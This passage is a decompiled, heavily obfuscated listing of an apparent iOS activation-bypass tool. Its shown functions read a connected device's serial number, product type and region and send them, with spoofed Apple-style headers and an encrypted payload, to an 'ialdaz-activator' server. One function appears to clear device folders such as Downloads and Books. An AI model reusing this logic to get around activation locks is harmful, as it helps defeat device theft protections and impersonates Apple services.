if ( v186 <= 179052305 )
{
if ( v186 == 173626918 )
{
objc_release(v145);
*(_QWORD *)&a2 = *(_OWORD *)&_mm_cmple_pd(
(__m128d)*(unsigned __int64 *)&v191,
(__m128d)0x4032800000000000uLL)
& *(_OWORD *)&_mm_cmple_pd(
(__m128d)0x403119999999999AuLL,
(__m128d)*(unsigned __int64 *)&v191);
v16 = 0;
v246 = LOBYTE(a2) & 1;
v4 = 173626918;
v17 = 489638280;
goto LABEL_797;
}
if ( v186 == 178832644 )
{
v221[1] = CFSTR("\xCD\xDF");
v40 = objc_msgSend(&OBJC_CLASS___NSDictionary, v223, v221, v222, 2);
v41 = objc_retainAutoreleasedReturnValue(v40);
*v162 = v41;
v42 = objc_msgSend(&OBJC_CLASS___NSDictionary, v223, v212, v218, 3);
v43 = objc_retainAutoreleasedReturnValue(v42);
objc_release(v41);
objc_release(v163);
objc_release(v161);
objc_release(v160);
objc_release(v159);
objc_release(v157);
objc_release(v156);
objc_release(v155);
objc_release(v154);
*v237 = _NSConcreteGlobalBlock;
*((_DWORD *)v237 + 2) = -796917760;
*((_DWORD *)v237 + 3) = 0;
v237[2] = (void **)__ReadiTunesMetadata_block_invoke;
v237[3] = (void **)&__block_descriptor_40_e38_v32__0__NSNumber_8__NSDictionary_16_24ls32l8;
v44 = v237;
objc_retain(v235);
v44[4] = (void **)v235;
objc_msgSend(v43, "enumerateKeysAndObjectsUsingBlock:", v237);
v45 = HikariFunctionWrapper_18129(v235, "componentsJoinedByString:");
v46 = objc_retainAutoreleasedReturnValue(v45);
v47 = HikariFunctionWrapper_18131((objc_class *)&OBJC_CLASS___NSData);
objc_msgSend(v47, "initWithBase64EncodedString:options:", v46, 0);
*v257 = -48677401;
}
}
else
{
switch ( v186 )
{
case 179052306:
*v257 = 191273636;
v208 = v206;
break;
case 191273636:
objc_release(v208);
*v190 = 0;
v70 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v234,
200,
0,
v190);
v216 = objc_retainAutoreleasedReturnValue(v70);
v197 = *v190;
objc_retain(v197);
v3 = v216 == 0;
v4 = 521796875;
v5 = -1733959555;
goto LABEL_784;
case 228669796:
v8 = 1;
v4 = 1147629251;
v9 = -1991396563;
goto LABEL_788;
}
}
}
if ( v186 > 249837136 )
break;
if ( v186 == 239159223 )
{
v13 = 1;
v4 = -757615616;
goto LABEL_589;
}
if ( v186 == 241275896 )
{
v16 = 0;
v4 = 241275896;
v17 = -80770835;
goto LABEL_797;
}
}
if ( v186 != 279397037 )
break;
*v257 = -1996171494;
}
if ( v186 != 279702324 )
break;
dword_10029F5CC = 1;
v38 = NSTemporaryDirectory();
objc_retainAutoreleasedReturnValue(v38);
*v257 = -615745426;
}
}
while ( v186 != 249837137 );
v125 = v182;
objc_release(v213);
return objc_autoreleaseReturnValue(v125);
}
// 100256114: using guessed type __int64 __fastcall AFCFileRefClose(_QWORD);
// 100256120: using guessed type __int64 __fastcall AFCFileRefRead(_QWORD);
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 1002803F0: using guessed type char byte_1002803F0;
// 1002803F1: using guessed type char byte_1002803F1;
// 1002803F2: using guessed type char byte_1002803F2;
// 1002803F3: using guessed type char byte_1002803F3;
// 1002803F4: using guessed type char byte_1002803F4;
// 100283A30: using guessed type __int16 aE_19[40];
// 100283AF0: using guessed type __int16 asc_100283AF0[51];
// 100283BC0: using guessed type __int16 aAA[48];
// 100283C90: using guessed type __int16 asc_100283C90[46];
// 100283D70: using guessed type __int16 aTReOZ[49];
// 100283EB0: using guessed type __int16 asc_100283EB0[54];
// 100284170: using guessed type __CFString stru_100284170;
// 1002841B0: using guessed type __CFString stru_1002841B0;
// 1002841F0: using guessed type __CFString stru_1002841F0;
// 100284230: using guessed type __CFString cfstr_Xu;
// 1002842B0: using guessed type __CFString stru_1002842B0;
// 1002842F0: using guessed type __CFString stru_1002842F0;
// 100284370: using guessed type __CFString stru_100284370;
// 1002843F0: using guessed type __CFString stru_1002843F0;
// 10029F5CC: using guessed type int dword_10029F5CC;
//----- (000000010016A038) ----------------------------------------------------
__int64 __fastcall SendGestaltFromServer(id a1)
{
id v1; // rbx
__int64 result; // rax
char v3; // cf
int v4; // eax
int v5; // ecx
bool v6; // zf
int v7; // ecx
char v8; // cf
int v9; // ecx
id v10; // rax
id v11; // r14
NSString *v12; // rax
NSString *v13; // r14
id v14; // rax
NSURLSessionConfiguration *v15; // rax
NSURLSession *v16; // rax
id v17; // rax
id v18; // rax
bool v19; // zf
int v20; // ecx
id v21; // rax
id v22; // rax
NSString *v23; // rax
NSString *v24; // r14
id v25; // rax
id v26; // r13
NSURLSessionConfiguration *v27; // rax
NSURLSessionConfiguration *v28; // rax
id v29; // rax
id v30; // r14
id v31; // rax
id v32; // rax
id v33; // rax
NSString *v34; // rax
NSString *v35; // r13
NSData *v36; // rax
id v37; // rax
id v38; // rax
id v39; // rax
id v40; // [rsp+0h] [rbp-A0h]
id v41; // [rsp+8h] [rbp-98h]
id v42; // [rsp+10h] [rbp-90h]
const char *v43; // [rsp+18h] [rbp-88h]
NSData *v44; // [rsp+20h] [rbp-80h]
id v45; // [rsp+28h] [rbp-78h]
NSURLSessionConfiguration *v46; // [rsp+30h] [rbp-70h]
NSURLSession *v47; // [rsp+38h] [rbp-68h]
int v48; // [rsp+48h] [rbp-58h]
int v49; // [rsp+4Ch] [rbp-54h] BYREF
id v50; // [rsp+50h] [rbp-50h]
SEL v51; // [rsp+58h] [rbp-48h]
bool v52; // [rsp+65h] [rbp-3Bh]
char v53; // [rsp+66h] [rbp-3Ah]
bool v54; // [rsp+67h] [rbp-39h]
id v55; // [rsp+68h] [rbp-38h]
int *v56; // [rsp+70h] [rbp-30h]
v1 = a1;
v48 = dword_10029F5D0;
v49 = -1873500043;
v56 = &v49;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v49;
if ( v49 <= 84327853 )
break;
if ( v49 <= 1115701268 )
{
if ( v49 > 380513175 )
{
if ( v49 > 756734910 )
{
switch ( v49 )
{
case 756734911:
asc_100284692[1] = v53;
asc_100284692[2] = 65;
asc_100284692[3] = 112;
asc_100284692[4] = 112;
asc_100284692[5] = 108;
asc_100284692[6] = 101;
asc_100284692[7] = 45;
asc_100284692[8] = 82;
asc_100284692[9] = 101;
asc_100284692[10] = 103;
asc_100284692[11] = 105;
asc_100284692[12] = 111;
asc_100284692[13] = 110;
asc_100284692[14] = 0;
strcpy(asc_1002846C8, "X-Apple-PD");
strcpy(asc_1002845FB, "User-Agent");
strcpy(aC_15, "Content-Type");
strcpy(aD_11, "https://itunes.ialdaz-activator.com/API/AldazDevA12/patcher.php");
qmemcpy(asc_100284750, "X-Apple-Serial", 14);
*v56 = 84327854;
break;
case 856633795:
objc_release(v1);
v19 = 0;
v4 = -1991033916;
v20 = 856633795;
LABEL_113:
if ( v19 )
v4 = v20;
LABEL_130:
*v56 = v4;
break;
case 875675866:
v8 = 1;
v4 = 627174828;
v9 = 2017050127;
goto LABEL_97;
}
}
else
{
switch ( v49 )
{
case 380513176:
v3 = 1;
v4 = 1115701269;
v5 = 562372832;
goto LABEL_123;
case 562372832:
v3 = 1;
v51 = "length";
v4 = 562372832;
v5 = 2024318159;
goto LABEL_123;
case 627174828:
v6 = !v54;
v4 = 380513176;
v7 = 1185257972;
goto LABEL_128;
}
}
}
else if ( v49 > 275052443 )
{
switch ( v49 )
{
case 275052444:
v6 = 0;
v4 = 1272837556;
v7 = 1793808842;
goto LABEL_128;
case 315491198:
dword_10029F5D0 = 1;
objc_retain(v1);
v19 = 0;
v4 = -843569099;
v20 = 315491198;
goto LABEL_113;
case 324562672:
v19 = v40 == 0;
v4 = -288996829;
v20 = 1185257972;
goto LABEL_113;
}
}
else
{
switch ( v49 )
{
case 84327854:
v8 = 0;
v4 = -2109866746;
v9 = -1580610291;
LABEL_97:
if ( !v8 )
v4 = v9;
goto LABEL_130;
case 92349961:
*v56 = -1426898469;
break;
case 271922824:
*v56 = 324562672;
break;
}
}
}
else if ( v49 <= 1625105995 )
{
if ( v49 > 1272837555 )
{
switch ( v49 )
{
case 1272837556:
objc_msgSend(v1, v51);
*v56 = 1793808842;
break;
case 1310908781:
v6 = 0;
v4 = -1308909744;
v7 = 856633795;
goto LABEL_128;
case 1444453969:
v52 = v48 == 0;
v4 = 92349961;
goto LABEL_130;
}
}
else
{
switch ( v49 )
{
case 1115701269:
*v56 = 562372832;
break;
case 1185257972:
HikariFunctionWrapper_18143(&cfstr_EI.isa);
*v56 = -242967174;
break;
case 1210212443:
v8 = 1;
v4 = -377921125;
v9 = 1210212443;
goto LABEL_97;
}
}
}
else if ( v49 <= 1793808841 )
{
switch ( v49 )
{
case 1625105996:
v3 = 1;
v4 = 2017050127;
v5 = 875675866;
goto LABEL_123;
case 1756602658:
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
aEI[0] = 91;
aEI[1] = 33;
aEI[2] = 93;
aEI[3] = 32;
aEI[4] = 103;
aEI[5] = 65;
aEI[6] = 108;
aEI[7] = 100;
aEI[8] = 97;
aEI[9] = 122;
aEI[10] = 85;
aEI[11] = 32;
aEI[12] = 118;
aEI[13] = 97;
aEI[14] = 99;
aEI[15] = 237;
aEI[16] = 111;
aEI[17] = 44;
aEI[18] = 32;
aEI[19] = 110;
aEI[20] = 111;
aEI[21] = 32;
aEI[22] = 115;
aEI[23] = 101;
aEI[24] = 32;
aEI[25] = 101;
aEI[26] = 110;
aEI[27] = 118;
aEI[28] = 105;
aEI[29] = 97;
aEI[30] = 114;
aEI[31] = 225;
aEI[32] = 32;
aEI[33] = 110;
aEI[34] = 97;
aEI[35] = 100;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
aEI[36] = 97;
aEI[37] = 0;
asc_100284692[0] = 88;
LABEL_119:
*v56 = -183429438;
break;
case 1787524458:
objc_msgSend(v55, "setHTTPMethod:", CFSTR("\xB1\x0F`\xBEY"));
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
CFSTR("\xC0\xF6\a\b\xB7D\xAE:u\xA0R\x01\x123G\xBEl\xA6\xBF\xABav\xB2\x19M"),
CFSTR("c#\xD2\x4C\x1C9vQp\x83\x88\x1A"));
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
v50,
CFSTR("\x17\xD6\x21\x9C\x8D\x97f\xAC%t#fC\xF4\x30\x0D\xEB\xF7\x5D\xAD\xCF"));
v21 = HikariFunctionWrapper_18163(&OBJC_CLASS___iOSDevice, "ProductType");
v22 = objc_retainAutoreleasedReturnValue(v21);
HikariFunctionWrapper_18165(v55, "setValue:forHTTPHeaderField:");
objc_release(v22);
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
BUILD,
CFSTR("\xD8\x47\x96\x89\xBFe\tY\xBD\xEB\x5B\xC8KE"));
v23 = +[iOSDevice RegionCode](&OBJC_CLASS___iOSDevice, "RegionCode");
v24 = objc_retainAutoreleasedReturnValue(v23);
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
v24,
CFSTR("\x94)Z\x16l=2\xC7\x2F7\xE5\xF8\xAB\xA2"));
objc_release(v24);
v1 = a1;
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
CFSTR("N\x81\xE6\x16\x8Cy\xA5\xE8\xE0\x58I*\x01\x8B(tr;\x11\xE6\x28\xAB\x82\x81\xC6\xC4\xAFg\xC5\x2D(\x19\x8ER\xFD\xF0\xCF\xFA\x02IZ`\x11\bh\xBFO3Z\x8E"),
CFSTR("\xAF\u05CF\fy\xC1\x37\xB4\xB4K\x1E"));
v25 = objc_msgSend(a1, v43, 4);
v26 = objc_retainAutoreleasedReturnValue(v25);
HikariFunctionWrapper_18167(v55, "setHTTPBody:");
v27 = +[NSURLSessionConfiguration ephemeralSessionConfiguration](
&OBJC_CLASS___NSURLSessionConfiguration,
"ephemeralSessionConfiguration");
v28 = objc_retainAutoreleasedReturnValue(v27);
-[NSURLSessionConfiguration setTimeoutIntervalForRequest:](
v28,
"setTimeoutIntervalForRequest:",
30.0);
v29 = HikariFunctionWrapper_18169(&OBJC_CLASS___NSURLSession, "sessionWithConfiguration:");
v30 = objc_retainAutoreleasedReturnValue(v29);
objc_msgSend(v26, v51);
HikariFunctionWrapper_18171(CFSTR("9'\xF2\x65\xEF\xA6\x02\xB7#A\xCF\x02\xF3\xBD\x63\xDA\xA0\xFC\xC2\x5C9$\x89\xA9\xB2(\xC0\xAD\xDD\x46\xC0\x5D\x8E\xFE\x0EZ\xDF\x14\xAE籊{"));
v31 = objc_msgSend(
v30,
"dataTaskWithRequest:completionHandler:",
v55,
&__block_literal_global_1265);
v32 = objc_retainAutoreleasedReturnValue(v31);
objc_msgSend(v32, "resume");
*v56 = -626985076;
break;
}
}
else if ( v49 > 2017050126 )
{
if ( v49 == 2017050127 )
{
*v56 = 875675866;
}
else if ( v49 == 2024318159 )
{
*v56 = 275052444;
}
}
else
{
if ( v49 == 1793808842 )
{
v33 = objc_msgSend(v1, v51, 2535206394LL);
v19 = 0;
v40 = v33;
v4 = 271922824;
v20 = 1272837556;
goto LABEL_113;
}
if ( v49 == 1863185094 )
{
v6 = 0;
v4 = 1787524458;
v7 = -626985076;
goto LABEL_128;
}
}
}
if ( v49 > -1189610753 )
break;
if ( v49 <= -1781266049 )
{
if ( v49 > -1885690469 )
{
switch ( v49 )
{
case -1885690468:
*v56 = -1523962426;
break;
case -1873500043:
v4 = 1444453969;
goto LABEL_130;
case -1802640403:
*v56 = -1205181534;
break;
}
}
else
{
switch ( v49 )
{
case -2109866746:
asc_100284750[14] = 78;
asc_100284750[15] = 117;
asc_100284750[16] = 109;
asc_100284750[17] = 98;
asc_100284750[18] = 101;
asc_100284750[19] = 114;
asc_100284750[20] = 0;
strcpy(asc_100284700, "application/octet-stream");
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(asc_1002846AF, "X-Apple-Build");
strcpy(a9_8, "[i] Enviando payload cifrado (%lu bytes)...");
*v56 = -1580610291;
break;
case -2000143295:
v6 = !v52;
v4 = -1205181534;
v7 = -1124873730;
LABEL_128:
if ( !v6 )
v4 = v7;
goto LABEL_130;
case -1991033916:
*v56 = -884746044;
break;
}
}
}
else if ( v49 <= -1523962427 )
{
switch ( v49 )
{
case -1781266048:
v54 = v1 == 0;
*v56 = 1625105996;
break;
case -1616902855:
*v56 = 756734911;
break;
case -1580610291:
asc_100284750[14] = 78;
asc_100284750[15] = 117;
asc_100284750[16] = 109;
asc_100284750[17] = 98;
asc_100284750[18] = 101;
asc_100284750[19] = 114;
asc_100284750[20] = 0;
strcpy(asc_100284700, "application/octet-stream");
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(asc_1002846AF, "X-Apple-Build");
strcpy(a9_8, "[i] Enviando payload cifrado (%lu bytes)...");
v3 = 1;
v4 = -1580610291;
v5 = -1802640403;
goto LABEL_123;
}
}
else if ( v49 > -1308909745 )
{
if ( v49 == -1308909744 )
{
objc_release(v1);
*v56 = 856633795;
}
else if ( v49 == -1205181534 )
{
v6 = 0;
v4 = -97973122;
v7 = 315491198;
goto LABEL_128;
}
}
else
{
if ( v49 == -1523962426 )
{
v6 = 0;
v4 = -1885690468;
v7 = -2000143295;
goto LABEL_128;
}
if ( v49 == -1426898469 )
{
v3 = 1;
v4 = -1885690468;
v5 = -1523962426;
goto LABEL_123;
}
}
}
if ( v49 > -377921126 )
break;
if ( v49 > -884746045 )
{
switch ( v49 )
{
case -884746044:
v8 = 1;
v4 = 1210212443;
v9 = -1189610752;
goto LABEL_97;
case -843569099:
*v56 = -1781266048;
break;
case -626985076:
HikariFunctionWrapper_18151(v55, "setHTTPMethod:");
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
CFSTR("\xC0\xF6\a\b\xB7D\xAE:u\xA0R\x01\x123G\xBEl\xA6\xBF\xABav\xB2\x19M"),
CFSTR("c#\xD2\x4C\x1C9vQp\x83\x88\x1A"));
HikariFunctionWrapper_18153(v55, "setValue:forHTTPHeaderField:");
v10 = HikariFunctionWrapper_18155(&OBJC_CLASS___iOSDevice, "ProductType");
v11 = objc_retainAutoreleasedReturnValue(v10);
objc_msgSend(v55, "setValue:forHTTPHeaderField:", v11, CFSTR("\xE1\x1B\xC0\xAA\xB4\x8A]dУ\x92"));
objc_release(v11);
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
BUILD,
CFSTR("\xD8\x47\x96\x89\xBFe\tY\xBD\xEB\x5B\xC8KE"));
v12 = +[iOSDevice RegionCode](&OBJC_CLASS___iOSDevice, "RegionCode");
v13 = objc_retainAutoreleasedReturnValue(v12);
objc_msgSend(
v55,
"setValue:forHTTPHeaderField:",
v13,
CFSTR("\x94)Z\x16l=2\xC7\x2F7\xE5\xF8\xAB\xA2"));
objc_release(v13);
v1 = a1;
HikariFunctionWrapper_18157(v55, "setValue:forHTTPHeaderField:");
v14 = objc_msgSend(a1, v43, 4);
v45 = objc_retainAutoreleasedReturnValue(v14);
objc_msgSend(v55, "setHTTPBody:", v45);
v15 = +[NSURLSessionConfiguration ephemeralSessionConfiguration](
&OBJC_CLASS___NSURLSessionConfiguration,
"ephemeralSessionConfiguration");
v46 = objc_retainAutoreleasedReturnValue(v15);
HikariFunctionWrapper_18159(v46, "setTimeoutIntervalForRequest:");
v16 = +[NSURLSession sessionWithConfiguration:](
&OBJC_CLASS___NSURLSession,
"sessionWithConfiguration:",
v46,
30.0);
v47 = objc_retainAutoreleasedReturnValue(v16);
v17 = objc_msgSend(v45, v51);
NSLog(
CFSTR("9'\xF2\x65\xEF\xA6\x02\xB7#A\xCF\x02\xF3\xBD\x63\xDA\xA0\xFC\xC2\x5C9$\x89\xA9\xB2(\xC0\xAD\xDD\x46\xC0\x5D\x8E\xFE\x0EZ\xDF\x14\xAE籊{"),
v17);
v18 = HikariFunctionWrapper_18161(v47, "dataTaskWithRequest:completionHandler:");
v42 = objc_retainAutoreleasedReturnValue(v18);
objc_msgSend(v42, "resume");
v3 = 1;
v4 = -626985076;
v5 = -300988937;
goto LABEL_123;
}
}
else
{
switch ( v49 )
{
case -1189610752:
*v56 = 1210212443;
break;
case -1124873730:
goto LABEL_119;
case -1025105085:
objc_release(v42);
objc_release(v47);
objc_release(v46);
objc_release(v45);
objc_release(v55);
objc_release(v41);
objc_release(v50);
objc_release(v44);
goto LABEL_39;
}
}
}
if ( v49 <= -232255901 )
break;
switch ( v49 )
{
case -232255900:
*v56 = 1444453969;
break;
case -183429438:
aEI[0] = 91;
aEI[1] = 33;
aEI[2] = 93;
aEI[3] = 32;
aEI[4] = 103;
aEI[5] = 65;
aEI[6] = 108;
aEI[7] = 100;
aEI[8] = 97;
aEI[9] = 122;
aEI[10] = 85;
aEI[11] = 32;
aEI[12] = 118;
aEI[13] = 97;
aEI[14] = 99;
aEI[15] = 237;
aEI[16] = 111;
aEI[17] = 44;
aEI[18] = 32;
aEI[19] = 110;
aEI[20] = 111;
aEI[21] = 32;
aEI[22] = 115;
aEI[23] = 101;
aEI[24] = 32;
aEI[25] = 101;
aEI[26] = 110;
aEI[27] = 118;
aEI[28] = 105;
aEI[29] = 97;
aEI[30] = 114;
aEI[31] = 225;
aEI[32] = 32;
aEI[33] = 110;
aEI[34] = 97;
aEI[35] = 100;
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
aEI[36] = 97;
aEI[37] = 0;
asc_100284692[0] = 88;
v3 = 0;
v53 = 45;
v4 = -1616902855;
v5 = -183429438;
LABEL_123:
if ( v3 )
v4 = v5;
goto LABEL_130;
case -97973122:
dword_10029F5D0 = 1;
objc_retain(v1);
*v56 = 315491198;
break;
}
}
if ( v49 <= -288996830 )
break;
if ( v49 == -288996829 )
{
v34 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v35 = objc_retainAutoreleasedReturnValue(v34);
v43 = "dataUsingEncoding:";
v36 = -[NSString dataUsingEncoding:](v35, "dataUsingEncoding:", 4);
v44 = objc_retainAutoreleasedReturnValue(v36);
objc_release(v35);
v37 = HikariFunctionWrapper_18145(v44);
v50 = objc_retainAutoreleasedReturnValue(v37);
v38 = HikariFunctionWrapper_18147(&OBJC_CLASS___NSURL, "URLWithString:");
v41 = objc_retainAutoreleasedReturnValue(v38);
v39 = HikariFunctionWrapper_18149(&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:");
v55 = objc_retainAutoreleasedReturnValue(v39);
*v56 = 1863185094;
}
else if ( v49 == -242967174 )
{
LABEL_39:
*v56 = 1310908781;
}
}
if ( v49 != -300988937 )
break;
*v56 = -1025105085;
}
}
while ( v49 != -377921125 );
return result;
}
// 10016A29F: variable 'v42' is possibly undefined
// 10016A2A6: variable 'v47' is possibly undefined
// 10016A2AD: variable 'v46' is possibly undefined
// 10016A2B4: variable 'v45' is possibly undefined
// 10016A2C5: variable 'v41' is possibly undefined
// 10016A2D3: variable 'v44' is possibly undefined
// 10016A520: variable 'v43' is possibly undefined
// 10016A625: variable 'v40' is possibly undefined
// 10025B610: using guessed type Block_layout __block_literal_global_1265;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 1002847D0: using guessed type __int16 aEI[38];
// 100284840: using guessed type __CFString stru_100284840;
// 100284880: using guessed type __CFString stru_100284880;
// 1002848C0: using guessed type __CFString cfstr_EI;
// 100284940: using guessed type __CFString stru_100284940;
// 100284980: using guessed type __CFString cfstr_C_15;
// 1002849C0: using guessed type __CFString stru_1002849C0;
// 100284A00: using guessed type __CFString stru_100284A00;
// 100284A40: using guessed type __CFString stru_100284A40;
// 100284A80: using guessed type __CFString cfstr_N_24;
// 100284AC0: using guessed type __CFString stru_100284AC0;
// 10029F5D0: using guessed type int dword_10029F5D0;
//----- (000000010016D1CF) ----------------------------------------------------
__int64 __fastcall AFCClearFolders(__int64 a1)
{
char v1; // cf
int v2; // eax
int v3; // ecx
char v4; // cf
int v5; // eax
bool v6; // zf
int v7; // ecx
int v8; // eax
int v9; // edx
int v10; // ecx
_BYTE *v11; // rax
int v12; // eax
int v13; // eax
int v14; // eax
_QWORD v16[2]; // [rsp+0h] [rbp-E0h] BYREF
_BYTE *v17; // [rsp+10h] [rbp-D0h]
_BYTE *v18; // [rsp+18h] [rbp-C8h]
char *v19; // [rsp+20h] [rbp-C0h]
_BYTE *v20; // [rsp+28h] [rbp-B8h]
__int64 v21; // [rsp+30h] [rbp-B0h]
__int64 v22; // [rsp+38h] [rbp-A8h]
_BYTE *v23; // [rsp+40h] [rbp-A0h]
__int64 v24; // [rsp+48h] [rbp-98h]
__int64 v25; // [rsp+50h] [rbp-90h]
_BYTE *v26; // [rsp+58h] [rbp-88h]
int v27; // [rsp+64h] [rbp-7Ch]
int v28; // [rsp+68h] [rbp-78h]
int v29; // [rsp+6Ch] [rbp-74h] BYREF
char *__str; // [rsp+70h] [rbp-70h]
char *v31; // [rsp+78h] [rbp-68h]
__int64 *v32; // [rsp+80h] [rbp-60h]
_QWORD *v33; // [rsp+88h] [rbp-58h]
_BYTE *v34; // [rsp+90h] [rbp-50h]
bool v35; // [rsp+9Ah] [rbp-46h]
bool v36; // [rsp+9Bh] [rbp-45h]
bool v37; // [rsp+9Ch] [rbp-44h]
bool v38; // [rsp+9Dh] [rbp-43h]
bool v39; // [rsp+9Eh] [rbp-42h]
bool v40; // [rsp+9Fh] [rbp-41h]
char v41; // [rsp+A0h] [rbp-40h]
bool v42; // [rsp+A1h] [rbp-3Fh]
bool v43; // [rsp+A2h] [rbp-3Eh]
bool v44; // [rsp+A3h] [rbp-3Dh]
bool v45; // [rsp+A4h] [rbp-3Ch]
bool v46; // [rsp+A5h] [rbp-3Bh]
char v47; // [rsp+A6h] [rbp-3Ah]
char v48; // [rsp+A7h] [rbp-39h]
int *v49; // [rsp+A8h] [rbp-38h]
__int64 v50; // [rsp+B0h] [rbp-30h]
v50 = -1;
v27 = 2032137984;
v29 = -652196920;
v49 = &v29;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v29 <= 57674008 )
{
if ( v29 <= -1140145346 )
{
if ( v29 > -1572916783 )
{
if ( v29 > -1405433180 )
{
if ( v29 > -1210186535 )
{
switch ( v29 )
{
case -1210186534:
v4 = 1;
v2 = -644875718;
v10 = 1234943977;
goto LABEL_253;
case -1203778358:
AFCDirectoryClose(a1, v24);
v1 = 0;
v2 = -1298934507;
v3 = -143897832;
goto LABEL_228;
case -1141863625:
*v49 = 2015392187;
break;
}
}
else
{
switch ( v29 )
{
case -1405433179:
v1 = 1;
v2 = 1234943977;
v3 = -1210186534;
goto LABEL_228;
case -1379546281:
v6 = !v39;
v2 = 1001574674;
v7 = 1538951236;
goto LABEL_239;
case -1298934507:
*v49 = -1529775094;
break;
}
}
}
else if ( v29 > -1529775095 )
{
switch ( v29 )
{
case -1529775094:
*v49 = 400514580;
break;
case -1491591343:
v44 = (unsigned int)AFCDirectoryRead(a1) == 0;
v23 = (_BYTE *)*v33;
*v49 = -1698393521;
break;
case -1489497322:
v4 = 1;
v2 = -548454026;
v10 = -1489497322;
goto LABEL_253;
}
}
else
{
switch ( v29 )
{
case -1572916782:
v4 = 1;
v2 = 1075435205;
v10 = 1768431863;
goto LABEL_253;
case -1552111769:
byte_100284B34 = 66;
byte_100284B35 = 111;
byte_100284B36 = 111;
byte_100284B37 = 107;
byte_100284B38 = 115;
byte_100284B39 = 0;
asc_100284B40[0] = 37;
byte_100284B41 = 115;
byte_100284B42 = 47;
v47 = 11;
*v49 = -1536608236;
break;
case -1536608236:
v1 = 0;
v2 = -1134808545;
v3 = 1877003854;
goto LABEL_228;
}
}
}
else if ( v29 > -1752727415 )
{
if ( v29 > -1698393522 )
{
switch ( v29 )
{
case -1698393521:
*v49 = 660735781;
break;
case -1671659847:
*v49 = 1564655473;
break;
case -1649850515:
*v49 = 1731978057;
break;
}
}
else
{
switch ( v29 )
{
case -1752727414:
*v49 = 1896612434;
break;
case -1751035055:
v42 = v41 == 46;
v1 = 1;
v2 = 1841410291;
v3 = -617976882;
goto LABEL_228;
case -1719607985:
*v49 = 623442277;
break;
}
}
}
else if ( v29 > -1903466554 )
{
switch ( v29 )
{
case -1903466553:
*v49 = -188696108;
break;
case -1872692544:
*v33 = 0;
v36 = (unsigned int)AFCDirectoryRead(a1) == 0;
v11 = (_BYTE *)*v33;
v37 = *v33 != 0;
v17 = v11;
*v49 = -70552670;
break;
case -1765108271:
v4 = 1;
v2 = -596618732;
v10 = 682612289;
goto LABEL_253;
}
}
else
{
switch ( v29 )
{
case -1991161857:
v1 = 0;
v2 = -1491591343;
v3 = 1500668391;
goto LABEL_228;
case -1985490459:
v6 = !v40;
v2 = 1612031155;
LABEL_238:
v7 = -1991161857;
LABEL_239:
if ( !v6 )
v2 = v7;
LABEL_255:
*v49 = v2;
break;
case -1933751755:
v32 = v16;
v33 = v16;
__str = (char *)&v16[-64];
*v49 = -184834001;
break;
}
}
}
else if ( v29 <= -423414532 )
{
if ( v29 > -652196921 )
{
if ( v29 > -596618733 )
{
switch ( v29 )
{
case -596618732:
v6 = !v43;
v2 = 1001574674;
goto LABEL_238;
case -548454026:
*v49 = -423414531;
break;
case -490979994:
v2 = 385941897;
goto LABEL_255;
}
}
else
{
switch ( v29 )
{
case -652196920:
v6 = v27 == 925084026;
v2 = -1140145345;
v7 = 775160009;
goto LABEL_239;
case -644875718:
v13 = 253314542;
if ( v46 )
v13 = -1572916782;
*v49 = v13;
v25 = v21;
break;
case -617976882:
v6 = !v42;
v2 = 1001574674;
v7 = 2130325055;
goto LABEL_239;
}
}
}
else if ( v29 > -1058234160 )
{
switch ( v29 )
{
case -1058234159:
dword_10029F5D4 = 1;
*v49 = -1933751755;
break;
case -943736539:
v1 = 0;
v2 = 1123120974;
LABEL_227:
v3 = 1939401961;
LABEL_228:
if ( v1 )
v2 = v3;
goto LABEL_255;
case -848729437:
v1 = 0;
v20 = v34 + 2;
v2 = -1752727414;
v3 = 838539922;
goto LABEL_228;
}
}
else
{
switch ( v29 )
{
case -1140145345:
*v49 = 775160009;
break;
case -1134808545:
v6 = 0;
byte_100284B43 = v47 - 2 * (v47 & 0x2E) + 46;
v48 = 115;
v2 = -1134808545;
v7 = -305910971;
goto LABEL_239;
case -1094602199:
*v49 = 2147181490;
break;
}
}
}
else if ( v29 <= -188696109 )
{
if ( v29 > -305910972 )
{
switch ( v29 )
{
case -305910971:
*v49 = 1611606347;
break;
case -289995961:
byte_100284B44 = v48;
byte_100284B45 = 0;
byte_100284B27 = 105;
byte_100284B28 = 84;
byte_100284B29 = 117;
byte_100284B2A = 110;
byte_100284B2B = 101;
byte_100284B2C = 115;
byte_100284B2D = 0;
strcpy(&byte_100283154, "Downloads");
*v49 = -263168263;
break;
case -263168263:
byte_100284B44 = v48;
byte_100284B45 = 0;
byte_100284B27 = 105;
byte_100284B28 = 84;
byte_100284B29 = 117;
byte_100284B2A = 110;
byte_100284B2B = 101;
byte_100284B2C = 115;
byte_100284B2D = 0;
strcpy(&byte_100283154, "Downloads");
v4 = 1;
v2 = -414597622;
v10 = -263168263;
goto LABEL_253;
}
}
else
{
switch ( v29 )
{
case -423414531:
v1 = 0;
v2 = 1325269370;
v3 = -112145729;
goto LABEL_228;
case -414597622:
*v49 = -1058234159;
break;
